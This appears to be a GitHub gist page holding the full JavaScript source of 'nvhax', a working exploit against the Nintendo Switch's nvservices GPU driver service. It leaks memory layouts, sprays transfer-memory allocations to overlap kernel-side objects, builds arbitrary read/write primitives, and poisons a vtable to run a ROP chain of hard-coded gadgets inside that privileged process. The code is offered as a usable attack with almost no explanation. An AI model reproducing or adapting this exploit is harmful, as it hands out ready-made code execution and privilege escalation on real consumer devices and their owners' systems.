Skip to content

Instantly share code, notes, and snippets.

@hexkyz
Created December 28, 2018 19:39
Show Gist options
  • Save hexkyz/ec24244e8771d90b0dbde919fc3c6323 to your computer and use it in GitHub Desktop.
Save hexkyz/ec24244e8771d90b0dbde919fc3c6323 to your computer and use it in GitHub Desktop.
/*
nvhax exploit
*/
// Global nvservices exploit context
sploitcore.prototype.nvdrv_exp_ctx = {};
sploitcore.prototype.spawn_nvdrv_srv = function(sm_handle, transf_mem_addr, transf_mem_size) {
// Forge a new service handle for NVDRV
var srv_handle = this.forge_handle(sm_handle, "nvdrv:t");
// Initialize NVDRV
var init_res = this.nvdrv_init(srv_handle, transf_mem_size, 0, transf_mem_addr);
var nvdrv_buf = init_res[0];
var mem_addr = init_res[1];
// Open "/dev/nvhost-gpu"
var gpu_dev_handle = this.nvdrv_open(nvdrv_buf, "/dev/nvhost-gpu");
return [srv_handle, nvdrv_buf, mem_addr, gpu_dev_handle];
}
sploitcore.prototype.destroy_nvdrv_srv = function(sm_handle, srv_handle, mem_addr, meminfo, pageinfo) {
// Close the handle
this.svc(0x16, [srv_handle], false);
// Set dummy memory state
var mem_state = [0x00, 0x01];
// Wait for nvservices to release memory
while (mem_state[1])
{
// Call QueryMem
this.svc(0x06, [meminfo, pageinfo, mem_addr], false);
// Read state
mem_state = this.read8(meminfo, 0x10/4);
}
}
sploitcore.prototype.leak_nvdrv_srv = function(sm_handle, mem_size, meminfo, pageinfo) {
// Spawn leaker service
var nvdrv_res = this.spawn_nvdrv_srv(sm_handle, 0, 0x100000);
var srv_handle = nvdrv_res[0];
var nvdrv_buf = nvdrv_res[1];
var mem_addr = nvdrv_res[2];
// Destroy leaker service
this.destroy_nvdrv_srv(sm_handle, srv_handle, mem_addr, meminfo, pageinfo);
// Leak out base address
var nvmem_base_addr = this.read8(mem_addr, 0x8008/4);
if (mem_size == 0x01)
nvmem_base_addr = utils.add2(nvmem_base_addr, -0x8000);
else if (mem_size == 0x08)
nvmem_base_addr = utils.add2(nvmem_base_addr, -0xC000);
else if (mem_size == 0x40)
nvmem_base_addr = utils.add2(nvmem_base_addr, -0x2B000);
this.free(mem_addr);
return nvmem_base_addr;
}
sploitcore.prototype.install_nvdrv_rw = function() {
var sm_handle = this.nvdrv_exp_ctx[0];
var meminfo = this.malloc(0x40);
var pageinfo = this.malloc(0x10);
// Spawn first service
var nvdrv_obj0 = this.spawn_nvdrv_srv(sm_handle, 0, 0x100000);
var obj0_srv_handle = nvdrv_obj0[0];
var obj0_nvdrv_buf = nvdrv_obj0[1];
var obj0_mem_addr = nvdrv_obj0[2];
var obj0_gpu_dev_handle = nvdrv_obj0[3];
// Open "/dev/nvhost-gpu"
var gpu_dev_handle = this.nvdrv_open(obj0_nvdrv_buf, "/dev/nvhost-gpu");
// Destroy first service
this.destroy_nvdrv_srv(sm_handle, obj0_srv_handle, obj0_mem_addr, meminfo, pageinfo);
// Find the nvhost channel's address
var nvhost_channel_addr = this.read8(obj0_mem_addr, 0xC000/4);
utils.log('nvhost_channel_addr: ' + utils.paddr(nvhost_channel_addr));
this.free(obj0_mem_addr);
// Spawn second service
var nvdrv_obj1 = this.spawn_nvdrv_srv(sm_handle, 0, 0x100000);
var nvdrv_obj1_addr = this.leak_nvdrv_srv(sm_handle, 1, meminfo, pageinfo);
var obj1_srv_handle = nvdrv_obj1[0];
var obj1_nvdrv_buf = nvdrv_obj1[1];
var obj1_mem_addr = nvdrv_obj1[2];
var obj1_gpu_dev_handle = nvdrv_obj1[3];
utils.log('nvdrv_obj1_addr: ' + utils.paddr(nvdrv_obj1_addr));
// Set dummy address for obj1
this.nvdrv_gpu_set_user_addr(obj1_nvdrv_buf, obj1_gpu_dev_handle, [0x12345678, 0x87654321]);
var malTries = 0;
var malBuf = this.malloc(0x4000000);
var malBase;
this.write4(0x41424344, malBuf, 0x80/4);
// Craft transfer memory
for (var i = 0x50000; i < 0x4000000; i += 0x10000) {
var hwctx = utils.add2(nvdrv_obj1_addr, 0);
var rwaddr = utils.add2(nvdrv_obj1_addr, 0xC008 - 0x78);
this.write4(nvhost_channel_addr[0], malBuf, (0x00 + i)/4);
this.write4(nvhost_channel_addr[1], malBuf, (0x04 + i)/4);
this.write4(rwaddr[0], malBuf, (0x08 + i)/4);
this.write4(rwaddr[1], malBuf, (0x0C + i)/4);
}
// Do 64MB allocations until high byte is 00
while (true) {
var nvdrv_obj2 = this.spawn_nvdrv_srv(sm_handle, malBuf, 0x4000000);
var obj2_srv_handle = nvdrv_obj2[0];
var obj2_nvdrv_buf = nvdrv_obj2[1];
var obj2_mem_addr = nvdrv_obj2[2];
var obj2_gpu_dev_handle = nvdrv_obj2[3];
malBase = this.leak_nvdrv_srv(sm_handle, 0x40, meminfo, pageinfo);
malTries++;
utils.log('Allocated 64MB at ' + utils.paddr(malBase));
if (malBase[1] == 0 && malBase[0] <= 0xfc000000)
break;
this.destroy_nvdrv_srv(sm_handle, obj2_srv_handle, obj2_mem_addr, meminfo, pageinfo);
this.free(obj2_mem_addr);
}
utils.log('Final malobj at ' + utils.paddr(malBase) + ' after ' + malTries + ' tries');
var loBound = malBase[0] + 0x50000 - 0x10000;
var hiBound = malBase[0] + 0x4000000 - 0x20000;
var vicTries = 0;
var vicBuf = this.malloc(0x800000);
var vicBase;
// Force GC
this.gc();
// Do 8MB allocations until it overlaps
while (true) {
var nvdrv_obj3 = this.spawn_nvdrv_srv(sm_handle, vicBuf, 0x800000);
var obj3_srv_handle = nvdrv_obj3[0];
var obj3_nvdrv_buf = nvdrv_obj3[1];
var obj3_mem_addr = nvdrv_obj3[2];
var obj3_gpu_dev_handle = nvdrv_obj3[3];
vicBase = this.leak_nvdrv_srv(sm_handle, 0x08, meminfo, pageinfo);
vicTries++;
utils.log('Allocated 8MB at ' + utils.paddr(vicBase));
if (vicBase[0] >= loBound && vicBase[0] < hiBound)
break;
this.destroy_nvdrv_srv(sm_handle, obj3_srv_handle, obj3_mem_addr, meminfo, pageinfo);
this.free(obj3_mem_addr);
}
var rop_base = utils.add2(vicBase, 0x400000);
utils.log('Final malobj at ' + utils.paddr(malBase) + ' after ' + malTries + ' tries');
utils.log('Final vicobj at ' + utils.paddr(vicBase) + ' after ' + vicTries + ' tries');
utils.log('Target object at ' + utils.paddr([vicBase[0] + 0x10000, 0]));
utils.log('Offset + 0x' + (vicBase[0] - malBase[0]).toString(16));
// Spawn last object
var nvdrv_obj4 = this.spawn_nvdrv_srv(sm_handle, 0, 0x100000);
var obj4_srv_handle = nvdrv_obj4[0];
var obj4_nvdrv_buf = nvdrv_obj4[1];
var obj4_mem_addr = nvdrv_obj4[2];
var obj4_gpu_dev_handle = nvdrv_obj4[3];
// Open "/dev/nvhost-ctrl-gpu"
var gpu_ctrl_dev_handle = this.nvdrv_open(obj4_nvdrv_buf, "/dev/nvhost-ctrl-gpu");
// Overwrite pointer with 00
var target_addr = utils.add2(vicBase, 0xF000 + 4);
this.nvdrv_wait_for_pause(obj4_nvdrv_buf, gpu_ctrl_dev_handle, target_addr, 0x01);
// Read back the user address of obj3
var user_addr = this.nvdrv_gpu_get_user_addr(obj3_nvdrv_buf, obj3_gpu_dev_handle);
utils.log('user addr ' + utils.paddr(user_addr));
// Write obj2's address into forged buffer
var test_addr_lo = malBase[0] + 0x80 - 0x78;
var test_addr_hi = malBase[1];
this.nvdrv_gpu_set_user_addr(obj3_nvdrv_buf, obj3_gpu_dev_handle, [test_addr_lo, test_addr_hi]);
// Read back from forged buffer
user_addr = this.nvdrv_gpu_get_user_addr(obj1_nvdrv_buf, obj1_gpu_dev_handle);
utils.log('user addr ' + utils.paddr(user_addr));
// Free memory
this.free(meminfo);
this.free(pageinfo);
// Initialize RW context
this.nvdrv_exp_ctx[2] = obj3_nvdrv_buf;
this.nvdrv_exp_ctx[3] = obj3_gpu_dev_handle;
this.nvdrv_exp_ctx[4] = obj1_nvdrv_buf;
this.nvdrv_exp_ctx[5] = obj1_gpu_dev_handle;
this.nvdrv_exp_ctx[6] = rop_base;
}
sploitcore.prototype.read_nvdrv_mem = function(mem_addr) {
// Unwrap RW context
var obj0_nvdrv_buf = this.nvdrv_exp_ctx[2];
var obj0_gpu_dev_handle = this.nvdrv_exp_ctx[3];
var obj1_nvdrv_buf = this.nvdrv_exp_ctx[4];
var obj1_gpu_dev_handle = this.nvdrv_exp_ctx[5];
var mem_addr_ptr = utils.add2(mem_addr, -0x78);
var mem_addr_ptr_lo = mem_addr_ptr[0];
var mem_addr_ptr_hi = mem_addr_ptr[1];
// Set the target address
this.nvdrv_gpu_set_user_addr(obj0_nvdrv_buf, obj0_gpu_dev_handle, [mem_addr_ptr_lo, mem_addr_ptr_hi]);
// Read the data
var nvdrv_mem = this.nvdrv_gpu_get_user_addr(obj1_nvdrv_buf, obj1_gpu_dev_handle);
return [nvdrv_mem[0], nvdrv_mem[1]];
}
sploitcore.prototype.write_nvdrv_mem = function(mem_addr, mem_val) {
// Unwrap RW context
var obj0_nvdrv_buf = this.nvdrv_exp_ctx[2];
var obj0_gpu_dev_handle = this.nvdrv_exp_ctx[3];
var obj1_nvdrv_buf = this.nvdrv_exp_ctx[4];
var obj1_gpu_dev_handle = this.nvdrv_exp_ctx[5];
var mem_addr_ptr = utils.add2(mem_addr, -0x78);
var mem_addr_ptr_lo = mem_addr_ptr[0];
var mem_addr_ptr_hi = mem_addr_ptr[1];
// Set the target address
this.nvdrv_gpu_set_user_addr(obj0_nvdrv_buf, obj0_gpu_dev_handle, [mem_addr_ptr_lo, mem_addr_ptr_hi]);
// Write the data
var mem_val_lo = mem_val[0];
var mem_val_hi = mem_val[1];
this.nvdrv_gpu_set_user_addr(obj1_nvdrv_buf, obj1_gpu_dev_handle, [mem_val_lo, mem_val_hi]);
}
sploitcore.prototype.build_nvdrv_rop = function(nvdrv_base) {
var nvdrv_base = this.nvdrv_exp_ctx[1];
var rop_base = this.nvdrv_exp_ctx[6];
var rop_buf = utils.add2(rop_base, 0x80000);
utils.log('rop_buf: '+ utils.paddr(rop_buf));
// Gadgets
var channel_to_base = utils.add2(nvdrv_base, 0x61d910);
var store_return_branch_a8 = utils.add2(nvdrv_base, 0x2234);
var br_38 = utils.add2(nvdrv_base, 0x7F174);
var add_x8_br_x2 = utils.add2(nvdrv_base, 0xBFFF0);
var add_x8_adj = 0x608;
var ldr_blr_x9 = utils.add2(nvdrv_base, 0x7B20C);
var partial_load = utils.add2(nvdrv_base, 0xB4DAC);
var shuffle_x0_x8 = utils.add2(nvdrv_base, 0x7CCB8);
var store_branch_60 = utils.add2(nvdrv_base, 0x2E6CC);
var ldr_br_x1 = utils.add2(nvdrv_base, 0x2244);
var save = utils.add2(nvdrv_base, 0xB2328);
var ldr_x0_ret = utils.add2(nvdrv_base, 0xC180C);
var load = utils.add2(nvdrv_base, 0xB4D74);
var br_x16 = utils.add2(nvdrv_base, 0x334);
var ldr_x19_ret = utils.add2(nvdrv_base, 0x7635C);
var str_x20 = utils.add2(nvdrv_base, 0x8890);
var str_x8_x19 = utils.add2(nvdrv_base, 0x40224);
var str_x0_x19 = utils.add2(nvdrv_base, 0x47154);
var str_x2_x19 = utils.add2(nvdrv_base, 0x4468C);
var ldr_x8_str_0_x19 = utils.add2(nvdrv_base, 0xBDFB8);
var blr_x8_ret = utils.add2(nvdrv_base, 0xF07C);
var ldr_x2_str_x1_x2 = utils.add2(nvdrv_base, 0x11B18);
var ldr_x8_ldr_X1_br_x1 = utils.add2(nvdrv_base, 0x7CDB0);
var refresh_x19_x20 = utils.add2(nvdrv_base, 0x7D0);
var magic_copy_fuckery = utils.add2(nvdrv_base, 0xE548);
var return_address = utils.add2(nvdrv_base, 0x46B0);
// Pointers
var vtable = utils.add2(rop_buf, 0x1000);
var vtable2 = utils.add2(rop_buf, 0x2000);
var pl_buf1 = utils.add2(rop_buf, 0x3000);
var pl_buf2 = utils.add2(rop_buf, 0x4000);
var save_buf = utils.add2(rop_buf, 0x6000);
var store_sp = utils.add2(rop_buf, 0x7000);
var vtable_save = utils.add2(rop_buf, 0x8000);
var load_buf = utils.add2(rop_buf, 0x9000);
var sp = utils.add2(rop_buf, 0x20000);
this.write_nvdrv_mem(rop_buf, vtable);
this.write_nvdrv_mem(utils.add2(vtable, 0x08), store_return_branch_a8);
this.write_nvdrv_mem(utils.add2(vtable, 0x28), store_return_branch_a8);
this.write_nvdrv_mem(utils.add2(vtable, 0x38), add_x8_br_x2);
this.write_nvdrv_mem(utils.add2(vtable, 0xA8), br_38);
this.write_nvdrv_mem(utils.add2(vtable, add_x8_adj), pl_buf1);
this.write_nvdrv_mem(utils.add2(vtable, add_x8_adj + 8), ldr_blr_x9);
this.write_nvdrv_mem(utils.add2(vtable, add_x8_adj + 0xF8), utils.add2(store_sp, 0x10));
this.write_nvdrv_mem(utils.add2(vtable, add_x8_adj + 0x100), br_38);
this.write_nvdrv_mem(pl_buf1, vtable2);
this.write_nvdrv_mem(utils.add2(pl_buf1, 8), partial_load);
this.write_nvdrv_mem(vtable2, pl_buf2);
this.write_nvdrv_mem(utils.add2(vtable2, 0x38), shuffle_x0_x8);
this.write_nvdrv_mem(pl_buf2, save_buf);
this.write_nvdrv_mem(utils.add2(save_buf, 0x28), store_branch_60);
this.write_nvdrv_mem(utils.add2(pl_buf2, 0x60), partial_load);
this.write_nvdrv_mem(utils.add2(pl_buf2, 0xF8), sp);
this.write_nvdrv_mem(utils.add2(pl_buf2, 0x100), ldr_br_x1);
this.write_nvdrv_mem(save_buf, vtable_save);
this.write_nvdrv_mem(vtable_save, save);
this.write_nvdrv_mem(utils.add2(sp, 0x8), ldr_x0_ret);
sp = utils.add2(sp, 0x10);
// Save
this.write_nvdrv_mem(utils.add2(sp, 0x08), load_buf);
this.write_nvdrv_mem(utils.add2(sp, 0x18), load);
sp = utils.add2(sp, 0x20);
this.write_nvdrv_mem(utils.add2(sp, 0x08), ldr_x19_ret);
sp = utils.add2(sp, 0x10);
// Cleanup
var hax_buf = utils.add2(rop_buf, 0x10000);
var dump_buf = utils.add2(rop_buf, 0x11000);
this.write_nvdrv_mem(utils.add2(sp, 0x00), utils.add2(hax_buf, -0x1A8));
this.write_nvdrv_mem(utils.add2(sp, 0x18), str_x20);
sp = utils.add2(sp, 0x20);
this.write_nvdrv_mem(utils.add2(sp, 0x08), utils.add2(hax_buf, -0x8));
this.write_nvdrv_mem(utils.add2(sp, 0x18), str_x8_x19);
sp = utils.add2(sp, 0x20);
this.write_nvdrv_mem(utils.add2(sp, 0x00), utils.add2(hax_buf, 0x10));
this.write_nvdrv_mem(utils.add2(sp, 0x18), str_x0_x19);
sp = utils.add2(sp, 0x20);
this.write_nvdrv_mem(utils.add2(sp, 0x00), utils.add2(hax_buf, -0x90));
this.write_nvdrv_mem(utils.add2(sp, 0x18), str_x2_x19);
sp = utils.add2(sp, 0x20);
this.write_nvdrv_mem(utils.add2(sp, 0x08), utils.add2(hax_buf, 0x100));
this.write_nvdrv_mem(utils.add2(sp, 0x18), ldr_x8_str_0_x19);
sp = utils.add2(sp, 0x20);
this.write_nvdrv_mem(utils.add2(sp, 0x08), ldr_x2_str_x1_x2);
this.write_nvdrv_mem(utils.add2(sp, 0x28), blr_x8_ret);
sp = utils.add2(sp, 0x30);
this.write_nvdrv_mem(utils.add2(sp, 0x00), utils.add2(hax_buf, 0x20));
sp = utils.add2(sp, 0x10);
this.write_nvdrv_mem(utils.add2(sp, 0x8), ldr_x0_ret);
sp = utils.add2(sp, 0x10);
this.write_nvdrv_mem(utils.add2(sp, 0x08), dump_buf);
this.write_nvdrv_mem(utils.add2(sp, 0x18), ldr_x8_ldr_X1_br_x1);
sp = utils.add2(sp, 0x20);
this.write_nvdrv_mem(dump_buf, dump_buf);
this.write_nvdrv_mem(utils.add2(dump_buf, 0x8), save);
this.write_nvdrv_mem(utils.add2(sp, 0x18), ldr_x0_ret);
sp = utils.add2(sp, 0x20);
this.write_nvdrv_mem(utils.add2(sp, 0x08), save_buf);
this.write_nvdrv_mem(utils.add2(sp, 0x18), refresh_x19_x20);
sp = utils.add2(sp, 0x20);
this.write_nvdrv_mem(utils.add2(sp, 0x0), utils.add2(utils.add2(store_sp, 0x00), -0x70));
this.write_nvdrv_mem(utils.add2(sp, 0x8), utils.add2(utils.add2(save_buf, 0xF8), -0x08));
this.write_nvdrv_mem(utils.add2(sp, 0x18), magic_copy_fuckery);
sp = utils.add2(sp, 0x20);
// Fix SP
this.write_nvdrv_mem(utils.add2(sp, 0x70), utils.add2(utils.add2(hax_buf, 0x180), -0x70));
this.write_nvdrv_mem(utils.add2(sp, 0x78), utils.add2(utils.add2(save_buf, 0x100), -0x08));
this.write_nvdrv_mem(utils.add2(sp, 0x88), magic_copy_fuckery);
sp = utils.add2(sp, 0x90);
// Fix LR
this.write_nvdrv_mem(utils.add2(hax_buf, 0x180), return_address);
this.write_nvdrv_mem(utils.add2(sp, 0x70), utils.add2(utils.add2(hax_buf, 0x190), -0x70));
this.write_nvdrv_mem(utils.add2(sp, 0x78), utils.add2(utils.add2(save_buf, 0x0), -0x08));
this.write_nvdrv_mem(utils.add2(sp, 0x88), magic_copy_fuckery);
sp = utils.add2(sp, 0x90);
// Fix X0
this.write_nvdrv_mem(utils.add2(hax_buf, 0x188), [0xCAFE, 0x0]);
this.write_nvdrv_mem(utils.add2(sp, 0x88), load);
sp = utils.add2(sp, 0x90);
}
sploitcore.prototype.build_nvdrv_call_obj = function() {
var sm_handle = this.nvdrv_exp_ctx[0];
var nvdrv_base = this.nvdrv_exp_ctx[1];
var rop_base = this.nvdrv_exp_ctx[6];
var rop_buf = utils.add2(rop_base, 0x80000);
// Find the heap
var heap_ptr = this.read_nvdrv_mem(utils.add2(nvdrv_base, 0x5CD0D0));
var heap_magic = this.read_nvdrv_mem(heap_ptr);
if (heap_magic[0] != 0x45585048)
utils.log("Failed to find heap magic!");
else
utils.log("Heap magic found!");
var cur_recent = this.read_nvdrv_mem(utils.add2(heap_ptr, 0x80));
// Spawn call object
var nvdrv_res = this.spawn_nvdrv_srv(sm_handle, 0, 0x100000);
var call_recent = this.read_nvdrv_mem(utils.add2(heap_ptr, 0x80));
if (cur_recent[0] == call_recent[0])
utils.log("Failed to find call object!");
else
utils.log("Call object found!");
var ud_magic = this.read_nvdrv_mem(call_recent);
if (ud_magic[0] != 0x5544)
utils.log("Call object memchunk is freed!");
else
utils.log("Call object memchunk is valid!");
var call_vtable_addr = utils.add2(call_recent, 0x20);
var old_vtable = this.read_nvdrv_mem(call_vtable_addr);
var call_vtable_buf_addr = utils.add2(rop_base, 0x98000);
this.write_nvdrv_mem(call_vtable_addr, call_vtable_buf_addr);
// Copy vtable contents
for (var i = 0; i < 0x200; i += 0x8) {
var obj_temp = this.read_nvdrv_mem(utils.add2(old_vtable, i));
this.write_nvdrv_mem(utils.add2(call_vtable_buf_addr, i), obj_temp);
}
// Gadgets for vtable
var br_38 = utils.add2(nvdrv_base, 0x7F174);
var shuffle_x0_x8 = utils.add2(nvdrv_base, 0x7CCB8);
var add_x8_br_x2 = utils.add2(nvdrv_base, 0xBFFF0);
var add_x8_adj = 0x608;
// Poison vtable
this.write_nvdrv_mem(utils.add2(call_vtable_buf_addr, 0x20), br_38); // Open
this.write_nvdrv_mem(utils.add2(call_vtable_buf_addr, 0x38), add_x8_br_x2);
this.write_nvdrv_mem(utils.add2(call_vtable_buf_addr, add_x8_adj + 8), shuffle_x0_x8);
this.write_nvdrv_mem(utils.add2(call_vtable_buf_addr, add_x8_adj), rop_buf); // Poison **obj
return nvdrv_res;
}
sploitcore.prototype.do_nvdrv_memcpy_in = function(dst, src, size) {
var memcpy = this.bridge(0x44338C, types.int, types.void_p, types.void_p, types.int);
// Unwrap call context
var sm_handle = this.nvdrv_exp_ctx[0];
var tmp_buf = this.nvdrv_exp_ctx[8];
var tmp_buf_size = this.nvdrv_exp_ctx[9];
var meminfo = this.malloc(0x40);
var pageinfo = this.malloc(0x10);
// Get temp buffer address
var tmp_buf_addr = utils.add2(tmp_buf, 0x100000);
// Copy in the data
memcpy(tmp_buf_addr, src, size);
// Spawn a new object backed by the source data
var nvdrv_obj = this.spawn_nvdrv_srv(sm_handle, tmp_buf, tmp_buf_size);
var obj_srv_handle = nvdrv_obj[0];
var obj_nvdrv_buf = nvdrv_obj[1];
var obj_mem_addr = nvdrv_obj[2];
var obj_gpu_dev_handle = nvdrv_obj[3];
// Leak the new object's base address
var nvdrv_obj_base = this.leak_nvdrv_srv(sm_handle, 0x08, meminfo, pageinfo);
var nvdrv_buf = utils.add2(nvdrv_obj_base, 0x100000);
// Call nvservices memcpy
this.do_nvdrv_rop_call(0xBB1F4, [dst, nvdrv_buf, size], [], false);
// Release temporary object
this.destroy_nvdrv_srv(sm_handle, obj_srv_handle, obj_mem_addr, meminfo, pageinfo);
this.free(obj_mem_addr);
// Free memory
this.free(meminfo);
this.free(pageinfo);
}
sploitcore.prototype.do_nvdrv_memcpy_out = function(dst, src, size) {
var memcpy = this.bridge(0x44338C, types.int, types.void_p, types.void_p, types.int);
// Unwrap call context
var sm_handle = this.nvdrv_exp_ctx[0];
var tmp_buf = this.nvdrv_exp_ctx[8];
var tmp_buf_size = this.nvdrv_exp_ctx[9];
var meminfo = this.malloc(0x40);
var pageinfo = this.malloc(0x10);
// Spawn a new object backed by the source data
var nvdrv_obj = this.spawn_nvdrv_srv(sm_handle, tmp_buf, tmp_buf_size);
var obj_srv_handle = nvdrv_obj[0];
var obj_nvdrv_buf = nvdrv_obj[1];
var obj_mem_addr = nvdrv_obj[2];
var obj_gpu_dev_handle = nvdrv_obj[3];
// Leak the new object's base address
var nvdrv_obj_base = this.leak_nvdrv_srv(sm_handle, 0x08, meminfo, pageinfo);
var nvdrv_buf = utils.add2(nvdrv_obj_base, 0x100000);
// Call nvservices memcpy
this.do_nvdrv_rop_call(0xBB1F4, [nvdrv_buf, src, size], [], false);
// Release temporary object
this.destroy_nvdrv_srv(sm_handle, obj_srv_handle, obj_mem_addr, meminfo, pageinfo);
this.free(obj_mem_addr);
// Get temp buffer address
var tmp_buf_addr = utils.add2(tmp_buf, 0x100000);
// Copy out the data
memcpy(dst, tmp_buf_addr, size);
// Free memory
this.free(meminfo);
this.free(pageinfo);
}
sploitcore.prototype.do_nvdrv_rop_call = function(func_ptr, args, fargs, dump_regs) {
// Unwrap call context
var nvdrv_base = this.nvdrv_exp_ctx[1];
var rop_base = this.nvdrv_exp_ctx[6];
var call_obj = this.nvdrv_exp_ctx[7];
var tmp_buf = this.nvdrv_exp_ctx[8];
var tmp_buf_size = this.nvdrv_exp_ctx[9];
// Setup buffers
var rop_buf = utils.add2(rop_base, 0x80000);
var scratch_buf = utils.add2(rop_base, 0x30000);
if (typeof(func_ptr) == 'number')
func_ptr = utils.add2(nvdrv_base, func_ptr);
switch (arguments.length) {
case 1:
args = [];
case 2:
fargs = [];
case 3:
dump_regs = false;
}
var saddrs = {};
var scratch_offset = 0;
// Parse args
for (var i = 0; i < args.length; i++) {
if (typeof(args[i]) == 'number') {
args[i] = [args[i], 0];
} else if (ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) {
var size = args[i].byteLength;
var saddr = utils.add2(scratch_buf, scratch_offset);
this.do_nvdrv_memcpy_in(saddr, this.getArrayBufferAddr(args[i]), size);
saddrs[i] = saddr;
scratch_offset += size;
if (scratch_offset & 0x7)
scratch_offset = ((scratch_offset & 0xFFFFFFF8) + 8);
}
}
// Pointers
var vtable_save = utils.add2(rop_buf, 0x8000);
var load_buf = utils.add2(rop_buf, 0x9000);
var sp = utils.add2(rop_buf, 0x20000);
var save_buf = utils.add2(rop_buf, 0x6000);
// Gadgets
var save = utils.add2(nvdrv_base, 0xB2328);
var ldr_x0_ret = utils.add2(nvdrv_base, 0xC180C);
var load = utils.add2(nvdrv_base, 0xB4D74);
var br_x16 = utils.add2(nvdrv_base, 0x334);
var ldr_x19_ret = utils.add2(nvdrv_base, 0x7635C);
var store_branch_60 = utils.add2(nvdrv_base, 0x2E6CC);
// Write args
if (args.length > 0) {
for (var i = 0; i < 30 && i < args.length; i++) {
if (ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer)
this.write_nvdrv_mem(utils.add2(load_buf, 8 * i), saddrs[i]);
else
this.write_nvdrv_mem(utils.add2(load_buf, 8 * i), args[i]);
}
}
// Write extra args
if (fargs.length > 0) {
for (var i = 0; i < fargs.length && i < 32; i++)
this.write_nvdrv_mem(utils.add2(load_buf, 0x110 + 8 * i), fargs[i]);
}
// Store main branch
this.write_nvdrv_mem(utils.add2(save_buf, 0x28), store_branch_60);
// Prepare vtable context
this.write_nvdrv_mem(save_buf, vtable_save);
this.write_nvdrv_mem(vtable_save, save);
this.write_nvdrv_mem(utils.add2(sp, 0x8), ldr_x0_ret);
sp = utils.add2(sp, 0x10);
// Save
this.write_nvdrv_mem(utils.add2(sp, 0x08), load_buf);
this.write_nvdrv_mem(utils.add2(sp, 0x18), load);
sp = utils.add2(sp, 0x20);
// Set up calling context
this.write_nvdrv_mem(utils.add2(sp, 0x08), ldr_x19_ret);
this.write_nvdrv_mem(utils.add2(load_buf, 0x80), func_ptr);
this.write_nvdrv_mem(utils.add2(load_buf, 0xF8), sp);
this.write_nvdrv_mem(utils.add2(load_buf, 0x100), br_x16);
sp = utils.add2(sp, 0x10);
// Unwrap call object
var srv_handle = call_obj[0];
var nvdrv_buf = call_obj[1];
var mem_addr = call_obj[2];
// Open random device to trigger ROP
this.nvdrv_open(nvdrv_buf, "/dev/random");
// Grab result buffer
var hax_buf = utils.add2(rop_buf, 0x10000);
// Read back result
var ret = this.read_nvdrv_mem(utils.add2(hax_buf, 0x10));
if (args.length > 0) {
for (var i = 0; i < 30 && i < args.length; i++) {
if (ArrayBuffer.isView(args[i]) || args[i] instanceof ArrayBuffer) {
var size = args[i].byteLength;
this.do_nvdrv_memcpy_out(this.getArrayBufferAddr(args[i]), saddrs[i], size);
}
}
}
return ret;
}
sploitcore.prototype.init_nvhax = function(sm_handle) {
// Get nvservices base address
var nvdrv_base = this.get_nvdrv_base(sm_handle);
// Save sm_handle and nvdrv_base
this.nvdrv_exp_ctx[0] = sm_handle;
this.nvdrv_exp_ctx[1] = nvdrv_base;
// Install read/write primitives
this.install_nvdrv_rw();
utils.log("RW primitives installed!");
// Build up the ROP chain
this.build_nvdrv_rop();
utils.log("ROP chain buffer built!");
// Build the ROP call object
var call_obj = this.build_nvdrv_call_obj();
utils.log("ROP call object built!");
// Allocate temporary buffer
var tmp_buf_size = 0x800000;
var tmp_buf = this.malloc(tmp_buf_size);
// Initialize call context
this.nvdrv_exp_ctx[7] = call_obj;
this.nvdrv_exp_ctx[8] = tmp_buf;
this.nvdrv_exp_ctx[9] = tmp_buf_size;
utils.log("nvservices base address: " + utils.paddr(nvdrv_base));
utils.log("nvservices test address: " + utils.paddr(utils.add2(this.nvdrv_exp_ctx[6], 0x40000)));
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment